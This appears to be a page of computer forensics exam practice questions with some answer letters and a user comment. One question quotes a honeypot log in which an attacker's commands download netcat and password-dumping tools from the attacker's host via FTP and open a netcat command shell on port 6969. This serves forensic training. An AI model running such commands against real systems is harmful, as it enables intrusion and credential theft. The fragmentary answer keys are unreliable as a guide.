When investigating a potential e-mail crime, what is your first step in the investigation?
Answer(s): A
If a suspect computer is located in an area that may have toxic chemicals, you must:
The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful.(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558From the options given below choose the one which best interprets the following entry: Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
What happens when a file is deleted by a Microsoft operating system using the FAT file system?
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below."cmd1.exe /c open 213.116.251.162 >ftpcom""cmd1.exe /c echo johna2k >>ftpcom""cmd1.exe /c echo haxedj00 >>ftpcom""cmd1.exe /c echo get nc.exe >>ftpcom""cmd1.exe /c echo get pdump.exe >>ftpcom""cmd1.exe /c echo get samdump.dll >>ftpcom""cmd1.exe /c echo quit >>ftpcom""cmd1.exe /c ftp -s:ftpcom""cmd1.exe /c nc -l -p 6969 -e cmd1.exe"What can you infer from the exploit given?
Answer(s): C
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.
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q47: intrusion prevention system is the correct answer, not patch management. by definition, there are no patches available for a zero-day vulnerability. the way to prevent an attacker from exploiting a zero-day vulnerability is to use an ips.
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